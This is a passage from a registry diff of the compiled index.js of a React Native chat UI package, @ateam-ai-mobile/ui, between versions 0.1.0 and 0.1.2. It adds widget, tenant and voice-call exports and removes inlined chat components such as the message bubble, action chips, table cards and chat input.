@ateam-ai-mobile/ui 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -40,28 +40,35 @@ __export(index_exports, {
40
40
  Plugin: () => Plugin,
41
41
  PluginSurface: () => PluginSurface,
42
42
  TableCardBlock: () => TableCardBlock,
43
+ TenantPicker: () => TenantPicker,
43
44
  TypingIndicator: () => TypingIndicator,
44
45
  UIActionsRow: () => UIActionsRow,
46
+ VoiceCallSheet: () => VoiceCallSheet,
47
+ WidgetHost: () => WidgetHost,
45
48
  WidgetWebView: () => WidgetWebView,
46
49
  buildPluginBridgeJS: () => buildPluginBridgeJS,
50
+ openWidget: () => openWidget,
47
51
  setClipboardProvider: () => setClipboardProvider,
52
+ setPluginWebViewExtraHosts: () => setPluginWebViewExtraHosts,
48
53
  setUIActionNavigator: () => setUIActionNavigator,
49
54
  useLightboxStore: () => useLightboxStore,
50
- usePluginBridge: () => usePluginBridge
55
+ usePluginBridge: () => usePluginBridge,
56
+ useVoiceCall: () => useVoiceCall,
57
+ useWidgetHostStore: () => useWidgetHostStore
51
58
  });
52
59
  module.exports = __toCommonJS(index_exports);
53
60
 
54
61
  // src/AdasChatScreen.tsx
55
- var import_react4 = require("react");
56
- var import_react_native8 = require("react-native");
57
- var import_core7 = require("@ateam-ai-mobile/core");
62
+ var import_react9 = require("react");
63
+ var import_react_native11 = require("react-native");
64
+ var import_core12 = require("@ateam-ai-mobile/core");
58
65
 
59
66
  // src/chat/MessageBubble.tsx
60
- var import_react2 = require("react");
61
- var import_react_native4 = require("react-native");
67
+ var import_react7 = require("react");
68
+ var import_react_native7 = require("react-native");
62
69
  var import_react_native_markdown_display = __toESM(require("react-native-markdown-display"));
63
- var import_core4 = require("@ateam-ai-mobile/core");
64
- var import_plugin_runtime2 = require("@ateam-ai-mobile/plugin-runtime");
70
+ var import_core9 = require("@ateam-ai-mobile/core");
71
+ var import_plugin_runtime6 = require("@ateam-ai-mobile/plugin-runtime");
65
72
 
66
73
  // src/chat/JobProgressBar.tsx
67
74
  var import_react = require("react");
@@ -228,9 +235,9 @@ var styles = import_react_native.StyleSheet.create({
228
235
  });
229
236
 
230
237
  // src/chat/UIActionsRow.tsx
231
- var import_react_native2 = require("react-native");
232
- var import_core2 = require("@ateam-ai-mobile/core");
233
- var import_plugin_runtime = require("@ateam-ai-mobile/plugin-runtime");
238
+ var import_react_native5 = require("react-native");
239
+ var import_core7 = require("@ateam-ai-mobile/core");
240
+ var import_plugin_runtime5 = require("@ateam-ai-mobile/plugin-runtime");
234
241
 
235
242
  // src/providers.ts
236
243
  var _clipboard = null;
@@ -247,912 +254,62 @@ function setUIActionNavigator(navigate) {
247
254
  function getUIActionNavigator() {
248
255
  return _navigator;
249
256
  }
250
-
251
- // src/chat/UIActionsRow.tsx
252
- var import_jsx_runtime2 = require("react/jsx-runtime");
253
- var fontFam = import_react_native2.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
254
- var ICON_MAP = {
255
- timer: "\u23F1",
256
- memory: "\u{1F9E0}",
257
- calendar: "\u{1F4C5}",
258
- home: "\u{1F3E0}",
259
- bell: "\u{1F514}",
260
- star: "\u2B50",
261
- bolt: "\u26A1"
262
- };
263
- function UIActionsRow({ actions }) {
264
- if (!Array.isArray(actions) || actions.length === 0) return null;
265
- const handlePress = (a) => {
266
- (0, import_plugin_runtime.getHaptics)()?.selection();
267
- const id = a.pluginId || a.target;
268
- if (!id) return;
269
- const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
270
- const surface = import_plugin_runtime.useSurfaceStore.getState().manifests[id];
271
- if (surface) {
272
- import_plugin_runtime.useSurfaceStore.getState().show(id, focus ? { focus } : void 0);
273
- return;
274
- }
275
- const params = {};
276
- if (focus) params.focus = String(focus);
277
- if (a.intent === "suggested_action" && a.payload?.tool) {
278
- params.tool = String(a.payload.tool);
279
- if (a.payload?.args) {
280
- try {
281
- params.args = JSON.stringify(a.payload.args);
282
- } catch {
283
- }
284
- }
285
- }
286
- if (a.intent === "quick_toggle" && a.payload?.verb) {
287
- params.verb = String(a.payload.verb);
288
- }
289
- const navigate = getUIActionNavigator();
290
- if (!navigate) {
291
- console.warn("[UIActionsRow] no navigator registered \u2014 call setUIActionNavigator() in the host to handle plugin chips");
292
- return;
293
- }
294
- navigate({ pluginId: id, params });
295
- };
296
- return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.View, { style: styles2.row, children: actions.map((a, i) => {
297
- const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
298
- return /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(
299
- import_react_native2.Pressable,
300
- {
301
- accessibilityRole: "button",
302
- accessibilityLabel: a.description || a.label,
303
- onPress: () => handlePress(a),
304
- style: ({ pressed }) => [styles2.chip, pressed && styles2.chipPressed],
305
- children: [
306
- icon ? /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.icon, children: icon }) : null,
307
- /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.label, numberOfLines: 1, children: a.label })
308
- ]
309
- },
310
- `${a.target || "a"}-${i}`
311
- );
312
- }) });
257
+ var _extraHosts = null;
258
+ function setPluginWebViewExtraHosts(getter) {
259
+ _extraHosts = getter;
313
260
  }
314
- var styles2 = import_react_native2.StyleSheet.create({
315
- row: {
316
- flexDirection: "row",
317
- flexWrap: "wrap",
318
- gap: 6,
319
- marginTop: 10
320
- },
321
- chip: {
322
- flexDirection: "row",
323
- alignItems: "center",
324
- gap: 6,
325
- paddingHorizontal: 12,
326
- paddingVertical: 6,
327
- backgroundColor: import_core2.ada.orangeSoft,
328
- borderColor: import_core2.ada.orange,
329
- borderWidth: 1,
330
- borderRadius: 14
331
- },
332
- chipPressed: {
333
- backgroundColor: import_core2.ada.orange
334
- },
335
- icon: {
336
- fontSize: 12,
337
- lineHeight: 14
338
- },
339
- label: {
340
- color: import_core2.ada.orangeDeep,
341
- fontSize: import_core2.fontSize.xs,
342
- fontWeight: "600",
343
- fontFamily: fontFam
344
- }
345
- });
346
-
347
- // src/chat/TableCardBlock.tsx
348
- var import_react_native3 = require("react-native");
349
- var import_core3 = require("@ateam-ai-mobile/core");
350
- var import_jsx_runtime3 = require("react/jsx-runtime");
351
- var fontFam2 = import_react_native3.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
352
- function TableCardBlock({ columns, rows }) {
353
- if (!columns?.length || !rows?.length) return null;
354
- const [titleCol, ...detailCols] = columns;
355
- return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.View, { style: styles3.wrap, children: rows.map((row, i) => {
356
- const cells = Array.isArray(row) ? row : [row];
357
- const title = cells[0];
358
- return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.card, children: [
359
- /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.title, children: String(title ?? "") }),
360
- detailCols.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.View, { style: styles3.details, children: detailCols.map((col, ci) => {
361
- const value = cells[ci + 1];
362
- if (value == null || value === "") return null;
363
- return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.row, children: [
364
- /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.label, children: String(col) }),
365
- /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.value, children: String(value) })
366
- ] }, ci);
367
- }) })
368
- ] }, i);
369
- }) });
261
+ function getPluginWebViewExtraHosts() {
262
+ return _extraHosts;
370
263
  }
371
- var styles3 = import_react_native3.StyleSheet.create({
372
- wrap: {
373
- marginVertical: 6,
374
- gap: 8
375
- },
376
- card: {
377
- backgroundColor: import_core3.ada.paper,
378
- borderRadius: import_core3.borderRadius.md,
379
- borderWidth: 1,
380
- borderColor: import_core3.ada.border,
381
- padding: import_core3.spacing.md
382
- },
383
- title: {
384
- color: import_core3.ada.ink,
385
- fontSize: import_core3.fontSize.md,
386
- fontWeight: "600",
387
- fontFamily: fontFam2,
388
- letterSpacing: -0.2,
389
- marginBottom: 6
390
- },
391
- details: {
392
- gap: 4
393
- },
394
- row: {
395
- flexDirection: "row",
396
- alignItems: "flex-start",
397
- gap: 8
398
- },
399
- label: {
400
- color: import_core3.ada.inkMuted,
401
- fontSize: import_core3.fontSize.xs,
402
- fontFamily: fontFam2,
403
- fontWeight: "500",
404
- width: 84,
405
- textTransform: "uppercase",
406
- letterSpacing: 0.6,
407
- paddingTop: 2
408
- },
409
- value: {
410
- flex: 1,
411
- color: import_core3.ada.inkSoft,
412
- fontSize: import_core3.fontSize.sm,
413
- fontFamily: fontFam2,
414
- lineHeight: 18
415
- }
416
- });
417
264
 
418
- // src/stores/lightboxStore.ts
265
+ // src/plugin/WidgetHost.tsx
266
+ var import_react6 = require("react");
419
267
  var import_zustand = require("zustand");
420
- var useLightboxStore = (0, import_zustand.create)((set) => ({
421
- uri: null,
422
- show: (uri) => set({ uri }),
423
- hide: () => set({ uri: null })
424
- }));
268
+ var import_core6 = require("@ateam-ai-mobile/core");
269
+ var import_plugin_runtime4 = require("@ateam-ai-mobile/plugin-runtime");
425
270
 
426
- // src/chat/MessageBubble.tsx
427
- var import_jsx_runtime4 = require("react/jsx-runtime");
428
- var fontFam3 = import_react_native4.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
429
- function formatTime(date) {
430
- const h = date.getHours();
431
- const m = date.getMinutes().toString().padStart(2, "0");
432
- return `${h}:${m}`;
433
- }
434
- function DaySeparator({ date }) {
435
- const today = /* @__PURE__ */ new Date();
436
- const yesterday = new Date(today);
437
- yesterday.setDate(yesterday.getDate() - 1);
438
- let label;
439
- if (isSameDay(date, today)) {
440
- label = "Today";
441
- } else if (isSameDay(date, yesterday)) {
442
- label = "Yesterday";
443
- } else {
444
- label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
445
- }
446
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: separatorStyles.container, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: separatorStyles.pill, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: separatorStyles.text, children: label }) }) });
447
- }
448
- function isSameDay(a, b) {
449
- return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
450
- }
451
- var separatorStyles = import_react_native4.StyleSheet.create({
452
- container: {
453
- alignItems: "center",
454
- marginVertical: 14
455
- },
456
- pill: {
457
- backgroundColor: import_core4.ada.paperSoft,
458
- paddingHorizontal: 14,
459
- paddingVertical: 5,
460
- borderRadius: 999
461
- },
462
- text: {
463
- fontSize: 12,
464
- fontWeight: "600",
465
- color: import_core4.ada.inkMuted,
466
- letterSpacing: 0.4,
467
- fontFamily: fontFam3
468
- }
469
- });
470
- function MessageBubble({ message }) {
471
- const isUser = message.role === "user";
472
- const isSystem = message.role === "system";
473
- const isNotification = !isUser && message.kind === "notification";
474
- const [copied, setCopied] = (0, import_react2.useState)("");
475
- const showCopied = (0, import_react2.useCallback)((label) => {
476
- setCopied(label);
477
- (0, import_plugin_runtime2.getHaptics)()?.notification("success");
478
- setTimeout(() => setCopied(""), 1500);
479
- }, []);
480
- const copyText = (0, import_react2.useCallback)(async (text) => {
481
- const clipboard = getClipboard();
482
- if (!clipboard) return;
483
- await clipboard.setString(text);
484
- showCopied("Copied!");
485
- }, [showCopied]);
486
- const handleLongPress = (0, import_react2.useCallback)(() => {
487
- copyText(message.content);
488
- }, [message.content, copyText]);
489
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: [styles4.row, isUser && styles4.rowUser], children: [
490
- !isUser && !isNotification && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.avatarOrb, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
491
- import_plugin_runtime2.AdaOrb,
492
- {
493
- size: 28,
494
- state: message.jobProgress?.status === "running" ? "thinking" : "idle"
495
- }
496
- ) }),
497
- isNotification && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.notificationLeftStripe }),
498
- /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(
499
- import_react_native4.Pressable,
500
- {
501
- accessibilityRole: "text",
502
- accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
503
- accessibilityHint: "Long-press to copy",
504
- onLongPress: handleLongPress,
505
- style: [
506
- styles4.bubble,
507
- isUser && styles4.bubbleUser,
508
- isSystem && styles4.bubbleSystem,
509
- isNotification && styles4.bubbleNotification
510
- ],
511
- children: [
512
- isNotification && /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: styles4.notificationHeader, children: [
513
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.notificationHeaderIcon, children: "\u{1F514}" }),
514
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.notificationHeaderText, children: "Notification" })
515
- ] }),
516
- message.attachments && message.attachments.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
517
- import_react_native4.Pressable,
518
- {
519
- accessibilityRole: "imagebutton",
520
- accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
521
- onPress: () => useLightboxStore.getState().show(att.previewUri),
522
- children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
523
- import_react_native4.Image,
524
- {
525
- source: {
526
- uri: att.previewUri,
527
- ...att.previewUri.startsWith("http") ? {
528
- headers: { Authorization: `Bearer ${(0, import_core4.getConfig)().tokenProvider.getToken()}` }
529
- } : {}
530
- },
531
- style: styles4.attachmentImage,
532
- resizeMode: "cover",
533
- onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
534
- }
535
- )
536
- },
537
- i
538
- ) : /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.attachmentFile, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
539
- isUser ? (
540
- // Hide the "See attachment" placeholder when the bubble already shows the photo.
541
- message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { selectable: true, style: styles4.userText, children: message.content }) : null
542
- ) : renderAssistantContent(message.content, copyText),
543
- !!copied && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.copiedBadge, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.copiedText, children: copied }) }),
544
- message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(ToolCallsBadge, { calls: message.toolCalls }),
545
- message.jobProgress && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(JobProgressBar, { progress: message.jobProgress }),
546
- !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(UIActionsRow, { actions: message.actions }),
547
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: [styles4.timeText, isUser && styles4.timeTextUser], children: formatTime(message.timestamp) })
548
- ]
549
- }
550
- ),
551
- isUser && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.avatarSpacer })
552
- ] });
553
- }
554
- function renderAssistantContent(content, copyText) {
555
- if (!content) return null;
556
- if (!content.includes(import_core4.TABLE_BLOCK_OPEN)) {
557
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(MarkdownBubble, { content, copyText });
558
- }
559
- const segments = [];
560
- let cursor = 0;
561
- while (cursor < content.length) {
562
- const open = content.indexOf(import_core4.TABLE_BLOCK_OPEN, cursor);
563
- if (open === -1) {
564
- segments.push({ kind: "md", content: content.slice(cursor) });
565
- break;
566
- }
567
- if (open > cursor) {
568
- segments.push({ kind: "md", content: content.slice(cursor, open) });
569
- }
570
- const close = content.indexOf(import_core4.TABLE_BLOCK_CLOSE, open + import_core4.TABLE_BLOCK_OPEN.length);
571
- if (close === -1) {
572
- segments.push({ kind: "md", content: content.slice(open) });
573
- break;
574
- }
575
- const payload = content.slice(open + import_core4.TABLE_BLOCK_OPEN.length, close);
576
- segments.push({ kind: "table", content: payload });
577
- cursor = close + import_core4.TABLE_BLOCK_CLOSE.length;
578
- }
579
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_jsx_runtime4.Fragment, { children: segments.map((seg, i) => {
580
- if (seg.kind === "md") {
581
- const trimmed = seg.content.trim();
582
- if (!trimmed) return null;
583
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(MarkdownBubble, { content: seg.content, copyText }, i);
584
- }
585
- try {
586
- const data = JSON.parse(decodeURIComponent(seg.content));
587
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
588
- } catch {
589
- return null;
590
- }
591
- }) });
592
- }
593
- function MarkdownBubble({ content, copyText }) {
594
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
595
- import_react_native_markdown_display.default,
596
- {
597
- style: markdownStyles,
598
- rules: {
599
- code_inline: (node) => /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
600
- import_react_native4.Text,
601
- {
602
- style: markdownStyles.code_inline,
603
- onPress: () => copyText(node.content),
604
- children: node.content
605
- },
606
- node.key
607
- ),
608
- fence: (node) => /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
609
- import_react_native4.Pressable,
610
- {
611
- onPress: () => copyText(node.content),
612
- style: markdownStyles.fence,
613
- children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: markdownStyles.fenceText, children: node.content })
614
- },
615
- node.key
616
- )
617
- },
618
- children: content
619
- }
620
- );
621
- }
622
- function ToolCallsBadge({ calls }) {
623
- const [expanded, setExpanded] = (0, import_react2.useState)(false);
624
- const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
625
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: styles4.toolCalls, children: [
626
- /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.Pressable, { style: styles4.toolToggle, onPress: () => setExpanded(!expanded), children: [
627
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolLabel, children: label }),
628
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
629
- ] }),
630
- expanded && calls.map((tc, i) => /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: styles4.toolItem, children: [
631
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolName, children: tc.name }),
632
- tc.skill && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolSkill, children: tc.skill })
633
- ] }, i))
634
- ] });
635
- }
636
- var styles4 = import_react_native4.StyleSheet.create({
637
- row: {
638
- flexDirection: "row",
639
- alignItems: "flex-end",
640
- marginBottom: 12,
641
- paddingHorizontal: 12,
642
- gap: 8
643
- },
644
- rowUser: {
645
- justifyContent: "flex-end"
646
- },
647
- avatarOrb: {
648
- width: 28,
649
- height: 28,
650
- justifyContent: "center",
651
- alignItems: "center"
652
- },
653
- avatarSpacer: {
654
- width: 28,
655
- height: 28
656
- },
657
- bubble: {
658
- maxWidth: "78%",
659
- backgroundColor: import_core4.ada.botBubble,
660
- borderWidth: 1,
661
- borderColor: import_core4.ada.botBubbleBorder,
662
- borderRadius: import_core4.borderRadius.xl,
663
- paddingHorizontal: 16,
664
- paddingVertical: 12
665
- },
666
- bubbleUser: {
667
- backgroundColor: import_core4.ada.userBubble,
668
- borderColor: "transparent"
669
- },
670
- bubbleSystem: {
671
- backgroundColor: import_core4.ada.orangeSoft,
672
- borderColor: import_core4.ada.orange,
673
- maxWidth: "90%"
674
- },
675
- bubbleNotification: {
676
- backgroundColor: import_core4.ada.orangeSoft,
677
- borderColor: "rgba(255, 122, 40, 0.35)",
678
- borderRadius: import_core4.borderRadius.lg,
679
- maxWidth: "90%"
680
- },
681
- notificationLeftStripe: {
682
- width: 3,
683
- alignSelf: "stretch",
684
- backgroundColor: import_core4.ada.orange,
685
- borderRadius: 2,
686
- marginRight: 4
687
- },
688
- notificationHeader: {
689
- flexDirection: "row",
690
- alignItems: "center",
691
- gap: 6,
692
- marginBottom: 6
693
- },
694
- notificationHeaderIcon: {
695
- fontSize: 12
696
- },
697
- notificationHeaderText: {
698
- color: import_core4.ada.orangeDeep,
699
- fontSize: 11,
700
- fontWeight: "700",
701
- letterSpacing: 0.6,
702
- textTransform: "uppercase",
703
- fontFamily: fontFam3
704
- },
705
- userText: {
706
- color: import_core4.ada.userBubbleText,
707
- fontSize: import_core4.fontSize.md,
708
- lineHeight: 22,
709
- fontFamily: fontFam3
710
- },
711
- timeText: {
712
- fontSize: 11,
713
- color: import_core4.ada.inkMuted,
714
- alignSelf: "flex-end",
715
- marginTop: 4,
716
- fontFamily: fontFam3
717
- },
718
- timeTextUser: {
719
- color: "rgba(250,246,238,0.55)"
720
- },
721
- attachments: {
722
- flexDirection: "row",
723
- flexWrap: "wrap",
724
- gap: 6,
725
- marginBottom: 8
726
- },
727
- attachmentImage: {
728
- width: 120,
729
- height: 90,
730
- borderRadius: 8
731
- },
732
- attachmentFile: {
733
- backgroundColor: "rgba(255,255,255,0.15)",
734
- borderRadius: 8,
735
- paddingHorizontal: 10,
736
- paddingVertical: 6
737
- },
738
- attachmentFileName: {
739
- color: "rgba(255,255,255,0.8)",
740
- fontSize: 11,
741
- maxWidth: 100
742
- },
743
- copiedBadge: {
744
- position: "absolute",
745
- top: 6,
746
- right: 6,
747
- backgroundColor: "#5A8A5C",
748
- paddingHorizontal: 8,
749
- paddingVertical: 2,
750
- borderRadius: import_core4.borderRadius.sm
751
- },
752
- copiedText: {
753
- color: "#fff",
754
- fontSize: import_core4.fontSize.xs,
755
- fontWeight: "600"
756
- },
757
- toolCalls: {
758
- marginTop: 8,
759
- borderTopWidth: 1,
760
- borderTopColor: import_core4.ada.border,
761
- paddingTop: 6
762
- },
763
- toolToggle: {
764
- flexDirection: "row",
765
- alignItems: "center",
766
- gap: 6
767
- },
768
- toolLabel: {
769
- color: import_core4.ada.inkSoft,
770
- fontSize: import_core4.fontSize.xs,
771
- fontWeight: "500"
772
- },
773
- toolChevron: {
774
- color: import_core4.ada.inkMuted,
775
- fontSize: 8
776
- },
777
- toolItem: {
778
- marginTop: 4,
779
- paddingLeft: 8
780
- },
781
- toolName: {
782
- color: import_core4.ada.inkSoft,
783
- fontSize: import_core4.fontSize.xs,
784
- fontFamily: "monospace"
785
- },
786
- toolSkill: {
787
- color: import_core4.ada.orangeDeep,
788
- fontSize: import_core4.fontSize.xs
789
- }
790
- });
791
- var markdownStyles = import_react_native4.StyleSheet.create({
792
- body: {
793
- color: import_core4.ada.botBubbleText,
794
- fontSize: import_core4.fontSize.md,
795
- lineHeight: 22,
796
- fontFamily: fontFam3
797
- },
798
- paragraph: {
799
- marginTop: 0,
800
- marginBottom: 4
801
- },
802
- strong: {
803
- fontWeight: "700",
804
- color: import_core4.ada.botBubbleText
805
- },
806
- em: {
807
- fontStyle: "italic"
808
- },
809
- code_inline: {
810
- backgroundColor: import_core4.ada.paperDeep,
811
- color: import_core4.ada.orangeDeep,
812
- paddingHorizontal: 5,
813
- paddingVertical: 1,
814
- borderRadius: 4,
815
- fontFamily: "monospace",
816
- fontSize: import_core4.fontSize.sm
817
- },
818
- fence: {
819
- backgroundColor: import_core4.ada.paperDeep,
820
- padding: 10,
821
- borderRadius: 10
822
- },
823
- fenceText: {
824
- fontFamily: "monospace",
825
- fontSize: import_core4.fontSize.sm,
826
- color: import_core4.ada.ink
827
- },
828
- link: {
829
- color: import_core4.ada.orangeDeep
830
- },
831
- list_item: {
832
- color: import_core4.ada.botBubbleText
833
- },
834
- bullet_list: {
835
- marginVertical: 4
836
- }
837
- });
838
-
839
- // src/chat/TypingIndicator.tsx
840
- var import_react_native5 = require("react-native");
841
- var import_plugin_runtime3 = require("@ateam-ai-mobile/plugin-runtime");
842
- var import_jsx_runtime5 = require("react/jsx-runtime");
843
- function TypingIndicator() {
844
- return /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_react_native5.View, { style: styles5.row, children: /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_plugin_runtime3.AdaOrb, { size: 32, state: "thinking" }) });
845
- }
846
- var styles5 = import_react_native5.StyleSheet.create({
847
- row: {
848
- flexDirection: "row",
849
- alignItems: "center",
850
- marginBottom: 12,
851
- paddingHorizontal: 16,
852
- paddingVertical: 4
853
- }
854
- });
855
-
856
- // src/chat/ChatInput.tsx
857
- var import_react3 = require("react");
858
- var import_react_native6 = require("react-native");
859
- var import_react_native_svg = __toESM(require("react-native-svg"));
860
- var import_core5 = require("@ateam-ai-mobile/core");
861
- var import_plugin_runtime4 = require("@ateam-ai-mobile/plugin-runtime");
862
- var import_jsx_runtime6 = require("react/jsx-runtime");
863
- function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
864
- const [text, setText] = (0, import_react3.useState)("");
865
- const [height, setHeight] = (0, import_react3.useState)(40);
866
- const inputRef = (0, import_react3.useRef)(null);
867
- (0, import_react3.useEffect)(() => {
868
- if (prefill) {
869
- setText(prefill);
870
- inputRef.current?.focus();
871
- }
872
- }, [prefill]);
873
- const handleSend = (0, import_react3.useCallback)(() => {
874
- const trimmed = text.trim();
875
- if (!trimmed) return;
876
- (0, import_plugin_runtime4.getHaptics)()?.impact("light");
877
- onSend(trimmed);
878
- setText("");
879
- setHeight(40);
880
- }, [text, loading, onSend]);
881
- const canSend = text.trim().length > 0;
882
- return /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native6.View, { style: styles6.dock, children: /* @__PURE__ */ (0, import_jsx_runtime6.jsxs)(import_react_native6.View, { style: styles6.inputRow, children: [
883
- onCallStart && /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native6.Pressable, { style: styles6.callBtn, onPress: onCallStart, children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.default, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: import_core5.colors.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
884
- /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(
885
- import_react_native6.TextInput,
886
- {
887
- ref: inputRef,
888
- style: [styles6.input, { height: Math.min(Math.max(40, height), 120) }],
889
- value: text,
890
- onChangeText: setText,
891
- onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
892
- placeholder: placeholder || "Message A-Team...",
893
- placeholderTextColor: import_core5.colors.light.textMuted,
894
- multiline: true,
895
- returnKeyType: "default",
896
- blurOnSubmit: false,
897
- onSubmitEditing: () => {
898
- if (import_react_native6.Platform.OS === "web") handleSend();
899
- }
900
- }
901
- ),
902
- /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(
903
- import_react_native6.Pressable,
904
- {
905
- style: [styles6.sendBtn, canSend && styles6.sendBtnActive],
906
- onPress: handleSend,
907
- disabled: !canSend,
908
- children: /* @__PURE__ */ (0, import_jsx_runtime6.jsxs)(import_react_native_svg.default, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : import_core5.colors.light.textMuted, strokeWidth: 2, children: [
909
- /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
910
- /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
911
- ] })
912
- }
913
- )
914
- ] }) });
915
- }
916
- var styles6 = import_react_native6.StyleSheet.create({
917
- dock: {
918
- paddingHorizontal: 12,
919
- paddingVertical: 8,
920
- backgroundColor: import_core5.colors.light.bgPrimary,
921
- borderTopWidth: 0.5,
922
- borderTopColor: import_core5.colors.light.border
923
- },
924
- inputRow: {
925
- flexDirection: "row",
926
- alignItems: "flex-end",
927
- backgroundColor: import_core5.colors.light.bgInput,
928
- borderRadius: import_core5.borderRadius.xl,
929
- borderWidth: 1,
930
